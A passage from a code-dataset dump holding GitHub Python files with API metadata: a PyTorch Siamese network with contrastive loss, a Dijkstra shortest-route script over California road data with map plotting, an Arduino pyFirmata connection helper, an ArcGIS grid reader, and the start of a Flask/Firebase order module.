"tensorflow.keras.losses.categorical_focal_crossentropy", "line_number": 143, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 143, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 143, "usage_type": "name"}, {"api_name": "tensorflow.keras.losses.categorical_hinge", "line_number": 144, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 144, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 144, "usage_type": "name"}, {"api_name": "tensorflow.reduce_mean", "line_number": 145, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 147, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 149, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 150, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 151, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 152, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 152, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 152, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 152, "usage_type": "attribute"}, {"api_name": "tensorflow.where", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 154, "usage_type": "attribute"}, {"api_name": "tensorflow.ones", "line_number": 155, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 155, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses.categorical_crossentropy", "line_number": 160, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 160, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 160, "usage_type": "name"}, {"api_name": "tensorflow.keras.losses.categorical_focal_crossentropy", "line_number": 161, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 161, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 161, "usage_type": "name"}, {"api_name": "tensorflow.keras.losses.categorical_hinge", "line_number": 162, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 162, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 162, "usage_type": "name"}, {"api_name": "tensorflow.concat", "line_number": 163, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 165, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 166, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 167, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 168, "usage_type": "attribute"}, {"api_name": "tensorflow.where", "line_number": 170, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 170, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 170, "usage_type": "attribute"}, {"api_name": "tensorflow.zeros", "line_number": 171, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 171, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 175, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 176, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 180, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses.binary_crossentropy", "line_number": 180, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 180, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 180, "usage_type": "name"}, {"api_name": "tensorflow.where", "line_number": 181, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 181, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 181, "usage_type": "attribute"}, {"api_name": "tensorflow.function", "line_number": 131, "usage_type": "attribute"}]} {"seq_id": "70897413990", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\nclass SiameseNetwork(nn.Module):\n def __init__(self, args):\n super(SiameseNetwork, self).__init__()\n \n C = args.output_num\n Ci = 1\n Co = args.kernel_num\n Ks = args.kernel_sizes\n D = args.embeding_dim\n self.embed = args.embed\n self.embed.weight.requires_grad = not args.static\n \n self.convs1 = nn.ModuleList([nn.Conv2d(Ci, Co, (K, D)) for K in Ks])\n\n# self.fc1 = nn.Sequential(\n# nn.Linear(len(Ks) * Co * 3, len(Ks) * Co * 3),\n# nn.ReLU(inplace=True),\n \n# nn.Linear(len(Ks) * Co * 3, len(Ks) * Co * 2),\n# nn.ReLU(inplace=True),\n \n# nn.Linear(len(Ks) * Co * 2, len(Ks) * Co),\n# nn.ReLU(inplace=True),\n\n# nn.Linear(len(Ks) * Co, len(Ks) * Co),\n# nn.ReLU(inplace=True),\n\n# nn.Linear(len(Ks) * Co, C),\n# nn.ReLU(inplace=True),\n# nn.Dropout(args.dropout),\n# )\n self.fc1 = nn.Sequential(\n nn.Linear(len(Ks) * Co * 3, len(Ks) * Co * 3),\n nn.ReLU(inplace=True),\n \n nn.Linear(len(Ks) * Co * 3, len(Ks) * Co),\n nn.ReLU(inplace=True),\n\n nn.Linear(len(Ks) * Co, len(Ks) * Co),\n nn.ReLU(inplace=True),\n nn.Dropout(args.dropout),\n\n nn.Linear(len(Ks) * Co, C)\n )\n \n def piece_pooling(self, x, e1_size, e2_size):\n e1_idx = e1_size\n e2_idx = x.size(2) - e2_size\n \n t1_tensor = x[:, :, :e1_idx]\n t2_tensor = x[:, :, e1_idx:e2_idx]\n t3_tensor = x[:, :, e2_idx:]\n \n pool_1 = F.max_pool1d(t1_tensor, t1_tensor.size(2)).squeeze(2)\n pool_2 = F.max_pool1d(t2_tensor, t2_tensor.size(2)).squeeze(2)\n pool_3 = F.max_pool1d(t3_tensor, t3_tensor.size(2)).squeeze(2)\n \n return torch.cat([pool_1, pool_2, pool_3], 1)\n \n def forward_once(self, x_list):\n e1_size = x_list[0].size(1)\n e2_size = x_list[2].size(1)\n \n x = torch.cat(x_list, 1)\n x = self.embed(x) # (N, W, D)\n\n if self.embed.weight.requires_grad:\n x = Variable(x)\n\n x = x.unsqueeze(1) # (N, Ci, W, D)\n x = [F.relu(conv(x)).squeeze(3) for conv in self.convs1] # [(N, Co, W), ...] * len(Ks)\n x = [self.piece_pooling(i, e1_size, e2_size) for i in x]\n x = torch.cat(x, 1)\n output = self.fc1(x)\n \n return output\n\n def forward(self, input1, input2):\n output1 = self.forward_once(input1)\n output2 = self.forward_once(input2)\n return output1, output2\n\n \nclass ContrastiveLoss(nn.Module):\n \"\"\"\n Contrastive loss function.\n Based on: http://yann.lecun.com/exdb/publis/pdf/hadsell-chopra-lecun-06.pdf\n \"\"\"\n def __init__(self, margin=2.0):\n super(ContrastiveLoss, self).__init__()\n self.margin = margin\n \n def forward(self, output1, output2, label):\n euclidean_distance = F.pairwise_distance(output1, output2)\n loss_contrastive = torch.mean((1-label) * torch.pow(euclidean_distance, 2) +\n (label) * torch.pow(torch.clamp(self.margin - euclidean_distance, min=0.0), 2))\n return loss_contrastive\n", "repo_name": "rifkiaputri/Relation-Aligner", "sub_path": "siamese_pcnn.py", "file_name": "siamese_pcnn.py", "file_ext": "py", "file_size_in_byte": 3483, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.device", "line_number": 6, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 6, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 43, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 46, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 50, "usage_type": "name"}, {"api_name": "torch.nn.functional.max_pool1d", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.nn.functional.max_pool1d", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 62, "usage_type": "name"}, {"api_name": "torch.nn.functional.max_pool1d", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 63, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 91, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.nn.functional.pairwise_distance", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 101, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 103, "usage_type": "call"}]} {"seq_id": "20585713793", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n#

Functionality 3 - Shortest Ordered Route

\n\n#import libraries\nimport pandas as pd\nimport csv\nimport networkx as nx\nimport matplotlib.pyplot as plt\nfrom networkx.algorithms.shortest_paths.weighted import single_source_dijkstra\nimport collections\nimport heapq\nfrom collections import defaultdict\nfrom itertools import groupby\nfrom ipywidgets import HTML\nfrom ipyleaflet import Map, basemaps, basemap_to_tiles, Polyline, Marker, Icon, Popup\nfrom IPython.display import Image\n\n#

Read and clean the data

\n\n#create variables to store the path of data containing distance and time distance\npath_distance = \"USA-road-d.CAL.gr\"\npath_time_distance = \"USA-road-t.CAL.gr\"\n\n#function to check the contents of the file containing distance by printing only few lines\ndef data_view(path):\n line_num = 0\n with open(path, encoding='utf-8') as file:\n for i in file:\n if (line_num < 10):\n print(i)\n line_num += 1\n\n#call the function by passing the path containing file with \"distance\"\ndata_view(path_distance)\n\n#call the function by passing the path containing file with \"time distance\"\ndata_view(path_time_distance)\n\n#function to consider only the lines after 7th line, split the values and store the necessary data in lists\nnode1 = []\nnode2 = []\ndistance = []\ndef data_cleaning(path):\n line_num = 0\n with open(path, encoding='utf-8') as file:\n for i in file:\n if (line_num > 6):\n parts = i.split()\n node1.append(parts[1])\n node2.append(parts[2])\n distance.append(parts[3])\n line_num += 1\n\n#call the function by passing the path containing file with \"distance\"\ndata_cleaning(path_distance)\n\n#create a dataframe of the lists containing distance with another column (ie. network distance = 1) \ndf = pd.DataFrame(\n {'source': node1,\n 'target': node2,\n 'distance': distance,\n 'weight' : 1\n })\n\n#check how the dataframe containing distance looks\ndf\n\n#call the function by passing the path containing file with \"time distance\"\ndata_cleaning(path_time_distance)\n\n#create a dataframe of the lists containing time distance with another column (ie. network distance = 1) \ndf_td = pd.DataFrame(\n {'source': node1,\n 'target': node2,\n 'time_distance': distance,\n 'weight' : 1\n })\n\n#check how the dataframe containing time distance looks\ndf_td\n\n\n#

The shortest route function

\n\n#
I am going to be using a brute force approach in which I will find the shortest distance between the source node to the first node in the list, then first node to second node, then second node to third node and so on, till the destination node and add up the distances
\n\n#create a class called Graph where \n#self.edges is a dict of all possible next nodes e.g. {'1': ['4', '3', '8', '9'], ...}\n#self.weights has all the weights between two nodes, with the two nodes as a tuple as the key e.g. {('1', '2'): 1, ('5', '9'): 1, ...}\n\nclass Graph():\n def __init__(self):\n self.edges = defaultdict(list)\n self.weights = {}\n \n def add_edge(self, from_node, to_node, weight):\n # assuming edges are bi-directional\n self.edges[from_node].append(to_node)\n self.edges[to_node].append(from_node)\n self.weights[(from_node, to_node)] = weight\n self.weights[(to_node, from_node)] = weight\n\n#call the Graph class\ngraph = Graph()\n\n#take the input in which first node represents the source and the last node represents the destination\nlist_of_nodes_to_dest = []\ndef take_input():\n while True:\n inp = input()\n if inp == \"\":\n break\n else:\n list_of_nodes_to_dest.append(inp)\n \n #pack the graph, source input and destination input into a tuple ie. (graph,source,destination)\n res = [(graph ,list_of_nodes_to_dest[i], list_of_nodes_to_dest[i + 1])\n for i in range(len(list_of_nodes_to_dest) - 1)] \n \n #choose which type of distance to consider\n print(\"Choose 1 for distance, 2 for network distance and 3 for time distance\")\n inp = input() \n return inp,res\n\ninp,res = take_input()\n\n#create an edge list with source, target and distance/network distance/time distance\nedge_list = []\nif inp == '1':\n for i,j in df.iterrows():\n edge_list.append((j[0],j[1],j[2]))\nelif inp == '2':\n for i,j in df.iterrows():\n edge_list.append((j[0],j[1],j[3]))\nelif inp == '3':\n for i,j in df_td.iterrows():\n edge_list.append((j[0],j[1],j[2]))\n\n#check the length of edge list\nlen(edge_list)\n\n#add the edge list to the graph\nfor edge in edge_list:\n graph.add_edge(*edge)\n\n#shortest route function\ndef dijsktra(graph, initial, end):\n # shortest paths is a dict of nodes\n # whose value is a tuple of (previous node, weight)\n shortest_paths = {initial: (None, 0)}\n current_node = initial\n visited = set()\n \n while current_node != end:\n visited.add(current_node)\n destinations = graph.edges[current_node]\n weight_to_current_node = shortest_paths[current_node][1]\n\n for next_node in destinations:\n weight = graph.weights[(current_node, next_node)] + weight_to_current_node\n if next_node not in shortest_paths:\n shortest_paths[next_node] = (current_node, weight)\n else:\n current_shortest_weight = shortest_paths[next_node][1]\n if current_shortest_weight > weight:\n shortest_paths[next_node] = (current_node, weight)\n \n next_destinations = {node: shortest_paths[node] for node in shortest_paths if node not in visited}\n if not next_destinations:\n return \"Route Not Possible\"\n # next node is the destination with the lowest weight\n current_node = min(next_destinations, key=lambda k: next_destinations[k][1])\n \n\n # Work back through destinations in shortest path\n path = []\n weights = []\n while current_node is not None:\n path.append(current_node)\n next_node = shortest_paths[current_node][0]\n weights.append(shortest_paths[current_node][1])\n current_node = next_node\n # Reverse path\n path = path[::-1]\n return weights[0],path\n\n#call the shortest route function to find the shortest path and weight between each set of nodes\narr = []\nfor tripple in res:\n for i in dijsktra(*tripple):\n arr.append(i)\n print(tripple[1] +\" -> \" +tripple[2], dijsktra(*tripple))\n\n#store the resultant path and weight separately\nres_path = [arr[i] for i in range(len(arr)) if i % 2 != 0] \nres_weight = [arr[i] for i in range(len(arr)) if i % 2 == 0] \n\n#flatten the list of lists of path\nflattened_list = []\nfor x in res_path:\n for y in x:\n flattened_list.append(y)\n\n#clean up the path and add up the weights of the set of nodes\nres_path = [x[0] for x in groupby(flattened_list)]\nres_weight = sum(res_weight)\nprint(\"The shortest route from \" + list_of_nodes_to_dest[0] +\" to \" + list_of_nodes_to_dest[-1] +\" is:\\n\" +str(res_path))\nprint(\"The total weight is \" +str(res_weight))\n\n\n#

Validate the result

\n\n#use networkx to create an edgelist (for validating the results)\nG = nx.from_pandas_edgelist(df,'source','target', edge_attr='weight')\n\n#run the below function to find the shortest path for a set of nodes(for validating the results)\nsingle_source_dijkstra(G,'21','22')\n\n\n#

Visualization of the graph

\n\n#read the node informtion data\ndf_data = pd.read_csv('node_information_file.csv')\n\n#convert the latitudes and logitudes in proper format by dividing them by 1000000\n#store the latitude and logitude of the source, must-pass and destination nodes in a list\nlocation_latlongs = []\nfor x in list_of_nodes_to_dest:\n location_latlong = []\n location_latlong.append(float(df_data[\"Longitude\"].iloc[int(x)-1])/1000000)\n location_latlong.append(float(df_data[\"Latitude\"].iloc[int(x)-1])/1000000)\n location_latlong.append(x)\n location_latlongs.append(location_latlong)\n\n#store the latitude and longitude of all the nodes in the shortest route from sourse to destination\npath_latlongs = []\nfor x in res_path:\n path_latlong = []\n path_latlong.append(float(df_data[\"Longitude\"].iloc[int(x)-1])/1000000)\n path_latlong.append(float(df_data[\"Latitude\"].iloc[int(x)-1])/1000000)\n path_latlongs.append(path_latlong)\n\n#create a visulaization for graph\ndef visualize():\n center = location_latlongs[1]\n\n m = Map(center=center, zoom=8)\n icon1 = Icon(icon_url='https://img.icons8.com/ultraviolet/40/000000/map-pin.png', icon_size=[40, 40], icon_anchor=[20,40])\n icon2 = Icon(icon_url='https://img.icons8.com/officel/40/000000/map-pin.png', icon_size=[40, 40], icon_anchor=[20,40])\n icon3 = Icon(icon_url='http://icons.iconarchive.com/icons/custom-icon-design/flatastic-6/256/Circle-icon.png', icon_size=[10, 10], icon_anchor=[5,5], shadow_size=[5,5])\n\n line = Polyline(\n locations = [[\n path_latlongs,]],\n color = \"#669df6\" ,\n fill= False,\n weight = 2,\n stroke = True\n )\n\n m.add_layer(line)\n\n style = {'text-align': 'left','description_width': '150px'}\n i = 0\n while i < len(location_latlongs):\n if i == 0:\n message = HTML()\n message.placeholder = \"Source\"\n message.description = \"Source\"+\"
Node ID: \"+location_latlongs[i][2]+\"
Lat: \"+ str(location_latlongs[i][1])+ \"
Long: \"+ str(location_latlongs[i][0])\n message.style = style\n marker = Marker(location=location_latlongs[i], \n draggable=False, title=\"Source\", \n icon=icon1, \n rise_on_hover=True, \n z_index_offset = 100)\n m.add_layer(marker); \n marker.popup = message\n \n elif (len(location_latlongs)-i) == 1:\n message = HTML()\n message.placeholder = \"Destination\"\n message.description = \"Destination\"+\"
Node ID: \"+location_latlongs[i][2]+\"
Lat: \"+ str(location_latlongs[i][1])+ \"
Long: \"+ str(location_latlongs[i][0])\n message.style = style\n marker = Marker(location=location_latlongs[i], \n draggable=False, \n title=\"Destination\", \n icon=icon2, \n rise_on_hover=True)\n m.add_layer(marker);\n marker.popup = message\n \n else:\n message = HTML()\n message.placeholder = \"Waypoint\"\n message.description = \"Waypoint: \"+str(i)+\"\"+\"
Node ID: \"+location_latlongs[i][2]+\"
Lat: \"+ str(location_latlongs[i][1])+ \"
Long: \"+ str(location_latlongs[i][0])\n message.style = style\n marker = Marker(location=location_latlongs[i], \n draggable=False, \n icon=icon3, \n title=\"Waypoint\", \n rise_on_hover=True)\n m.add_layer(marker);\n marker.popup = message\n i += 1\n\n return(m)\n\n#call the visulaization function\nm = visualize()\n\n#print the map of visulalization\nm\n\n#
I am attaching the png images of the route as the map visualization is dynamic and it will not show up on github.
\n\nImage(filename = 'nodes_route.png')\nImage(filename = 'source_node.png')\nImage(filename = 'destination_node.png')\nImage(filename = 'waypoint_node_1.png')\nImage(filename = 'waypoint_node_2.png')\n", "repo_name": "pujacj/ADM-HW5", "sub_path": "func_3.py", "file_name": "func_3.py", "file_ext": "py", "file_size_in_byte": 11631, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.DataFrame", "line_number": 60, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 74, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 95, "usage_type": "call"}, {"api_name": "itertools.groupby", "line_number": 207, "usage_type": "call"}, {"api_name": "networkx.from_pandas_edgelist", "line_number": 216, "usage_type": "call"}, {"api_name": "networkx.algorithms.shortest_paths.weighted.single_source_dijkstra", "line_number": 219, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 225, "usage_type": "call"}, {"api_name": "ipyleaflet.Map", "line_number": 249, "usage_type": "call"}, {"api_name": "ipyleaflet.Icon", "line_number": 250, "usage_type": "call"}, {"api_name": "ipyleaflet.Icon", "line_number": 251, "usage_type": "call"}, {"api_name": "ipyleaflet.Icon", "line_number": 252, "usage_type": "call"}, {"api_name": "ipyleaflet.Polyline", "line_number": 254, "usage_type": "call"}, {"api_name": "ipywidgets.HTML", "line_number": 269, "usage_type": "call"}, {"api_name": "ipyleaflet.Marker", "line_number": 273, "usage_type": "call"}, {"api_name": "ipywidgets.HTML", "line_number": 282, "usage_type": "call"}, {"api_name": "ipyleaflet.Marker", "line_number": 286, "usage_type": "call"}, {"api_name": "ipywidgets.HTML", "line_number": 295, "usage_type": "call"}, {"api_name": "ipyleaflet.Marker", "line_number": 299, "usage_type": "call"}, {"api_name": "IPython.display.Image", "line_number": 318, "usage_type": "call"}, {"api_name": "IPython.display.Image", "line_number": 319, "usage_type": "call"}, {"api_name": "IPython.display.Image", "line_number": 320, "usage_type": "call"}, {"api_name": "IPython.display.Image", "line_number": 321, "usage_type": "call"}, {"api_name": "IPython.display.Image", "line_number": 322, "usage_type": "call"}]} {"seq_id": "34097992762", "text": "def get_arduino(port=None):\n \"\"\"\n This is a PyFirmata 'helper' that tries to connect to an Arduino\n compatible board.\n \n If no port is informed, using pyserial's serial.tools.list_ports.comports(),\n if one port is found, tries that one. If more than one port is found,\n shows for the user to choose one. Returns None if no port is found or if the\n user cancels the dialog.\n \n If it successfully connects, it will return a pyfirmata Arduino object,\n but before that, it starts a pyfirmata.util.Iterator, and adds to the object\n both analog_read() and digital_read() functions that mimic Processing's\n Firmata library interface:\n Readings are never None, and analog pins return a value between 0 and 1023.\n \"\"\" \n from pyfirmata import Arduino, util\n from serial.tools import list_ports\n \n comports = [comport.device for comport in list_ports.comports()]\n if not comports:\n print('No ports found.')\n return None\n elif isinstance(port, str) and port not in comports:\n print(f'Port \"{port}\" not found.')\n return None\n elif isinstance(port, int):\n if port >= len(comports):\n print(f'Port [{port}] not found.')\n return None\n else:\n port = comports[port]\n elif len(comports) == 1:\n port = comports[0]\n elif port is None:\n port = option_pane(\n 'Where is your board?',\n 'Please select the USB port where your '\n 'Arduino compatible board is connected:',\n comports,\n -1) # index for default option\n if port is None:\n print('No port selected.')\n return None\n try:\n print(f'Connecting to port {port}...')\n arduino = Arduino(port)\n util.Iterator(arduino).start()\n except Exception as e:\n print(repr(e))\n return None\n # Prepare analog_read() for A0 A1 A2 A3 A4 A5\n for a in range(6): \n arduino.analog[a].enable_reporting()\n arduino.analog_read = (lambda a: round(arduino.analog[a].read() * 1023)\n if arduino.analog[a].read() is not None\n else 0)\n # Prepare digital_read() for D2 to D13\n digital_pin_dict = {d: arduino.get_pin(f'd:{d}:i')\n for d in range(2, 14)}\n for d in digital_pin_dict.keys():\n digital_pin_dict[d].enable_reporting()\n arduino.digital_read = (lambda d: digital_pin_dict[d].read()\n if digital_pin_dict[d].read() is not None\n else False)\n return arduino\n\n\ndef option_pane(title, message, options, default=None, index_only=False):\n \"\"\"\n A helper for Java swing JOptionPane input dialog with drop down options.\n \n title : str - Dialog window's title (make it shorter than message).\n message : str - Text shown before the drop down.\n options : list - List of strings to show in the drop down.\n default : int - None or index to the pre-selected option in the list.\n index_only: False - Function returns an option string from the options list\n provided, or None, if the dialog was cancelled;\n True - Function returns the position index to the options list. \n \"\"\"\n from javax.swing import JOptionPane\n \n if default is None:\n default = options[0]\n elif index_only:\n default = options[default]\n\n selection = JOptionPane.showInputDialog(\n None, # frame\n message,\n title,\n JOptionPane.INFORMATION_MESSAGE,\n None, # for Java null\n options,\n default) # must be in options, otherwise first is shown\n if selection:\n if index_only:\n return options.index(selection)\n else:\n # Trouble: selection can be java.lang.String\n return str(selection) if selection else None\n", "repo_name": "villares/sketch-a-day", "sub_path": "2023/sketch_2023_06_12/inputs.py", "file_name": "inputs.py", "file_ext": "py", "file_size_in_byte": 3931, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 193, "dataset": "github-code", "pt": "71", "api": [{"api_name": "serial.tools.list_ports.comports", "line_number": 20, "usage_type": "call"}, {"api_name": "serial.tools.list_ports", "line_number": 20, "usage_type": "name"}, {"api_name": "pyfirmata.Arduino", "line_number": 47, "usage_type": "call"}, {"api_name": "pyfirmata.util.Iterator", "line_number": 48, "usage_type": "call"}, {"api_name": "pyfirmata.util", "line_number": 48, "usage_type": "name"}, {"api_name": "javax.swing.JOptionPane.showInputDialog", "line_number": 88, "usage_type": "call"}, {"api_name": "javax.swing.JOptionPane", "line_number": 88, "usage_type": "name"}, {"api_name": "javax.swing.JOptionPane.INFORMATION_MESSAGE", "line_number": 92, "usage_type": "attribute"}, {"api_name": "javax.swing.JOptionPane", "line_number": 92, "usage_type": "name"}]} {"seq_id": "69967635749", "text": "\"\"\"Utilities for reading and plotting ArcGIS binary files.\n\nThis module contains some simple functions to make it easier\nto read and plot the data contained in the binary grid files\nproduced by ArcGIS.\n\n\"\"\"\nimport sys\nimport numpy as np\nfrom numpy import ma\n\n\ndef read_bin(fname):\n \"\"\"Read data from a ArcGIS binary file into an array.\n\n Read the data from a binary file created by ArcGIS into\n a Numpy array. The file is expected to be in binary format\n with floating point precision. e.g. \".flt\" extension.\n\n \"\"\"\n\n f = open(fname, \"rb\")\n raw = f.read()\n f.close()\n data = np.fromstring(raw, 'f')\n if sys.byteorder == 'big':\n data = data.byteswap()\n\n return data\n\ndef read(bingrid_name):\n \"\"\"Read the data field and headers from an ArcGIS binary grid\n\n This function reads the header and data from the ArcGIS binary\n data files produced by the \"Raster to Float\" tool in ArcGIS 9.1\n\n \"\"\"\n\n if bingrid_name[-4:] == '.flt':\n hdr_name = bingrid_name[:-4]\n bin_name = bingrid_name\n else:\n hdr_name = bingrid_name\n bin_name = bingrid_name + '.flt'\n\n li_headers=read_headers(hdr_name)\n\n rows = li_headers[1]\n cols = li_headers[0]\n\n a = read_bin(bin_name)\n\n a = a.reshape(rows, cols)\n\n return a, li_headers\n\ndef read_headers(bingrid_name):\n \"\"\"Read the ascii headers of the ArcGIS binary grid file\n\n The headers have the following format:\n\n ncols 62\n nrows 121\n xllcorner -288595.47161281\n yllcorner -3158065.5722693\n cellsize 1000\n NODATA_value -9999\n byteorder LSBFIRST\n \"\"\"\n\n hdr_name = bingrid_name + '.hdr'\n f=open(hdr_name,'r')\n tab_read=f.readlines()\n f.close()\n\n li_headers=[]\n i=-1\n for line in tab_read:\n i=i+1\n donnees=line.split()\n if i<6:\n li_headers.append(float(donnees[1]))\n else:\n li_headers.append(donnees[1])\n\n return li_headers\n\ndef plot(bin_name, fig_name, title='Raster Plot'):\n \"\"\"Create a plot of the data in an ArcGIS binary file.\"\"\"\n import matplotlib.pyplot as plt\n\n a, headers = read(bin_name)\n\n a_mask = ma.masked_where(a < 0, a)\n plt.imshow(a_mask, interpolation='nearest')\n plt.colorbar()\n plt.title(title)\n plt.savefig(fig_name)\n plt.close()\n", "repo_name": "sahg/PyTOPKAPI", "sub_path": "pytopkapi/arcfltgrid.py", "file_name": "arcfltgrid.py", "file_ext": "py", "file_size_in_byte": 2336, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.fromstring", "line_number": 25, "usage_type": "call"}, {"api_name": "sys.byteorder", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.ma.masked_where", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.ma", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}]} {"seq_id": "26539423626", "text": "from flask import render_template,request,session,g,flash,Flask,redirect,url_for\r\nfrom Controller import Configure\r\nimport pyrebase\r\nfrom datetime import datetime\r\n\r\nfirebase = pyrebase.initialize_app(Configure.firebaseConfig)\r\nauth = firebase.auth()\r\ndb = firebase.database()\r\nstorage = firebase.storage()\r\n\r\ndef delete_temp_order():\r\n try:\r\n db.child(\"Temp_Order\").remove()\r\n return True\r\n except:\r\n return False\r\n#--------------------Sorted date ho ri hey\r\n\r\ndef sorted_Expire_date(array):\r\n array.sort(key=lambda date: datetime.strptime(date, \"%Y-%m-%d\"))\r\n return array\r\n\r\n\r\ndef Order_list(Order_list):\r\n\r\n Product_list = []\r\n Order_list = Order_list.split(',')\r\n count = 0\r\n length = int(len(Order_list) / 3)\r\n\r\n for i in range(0, 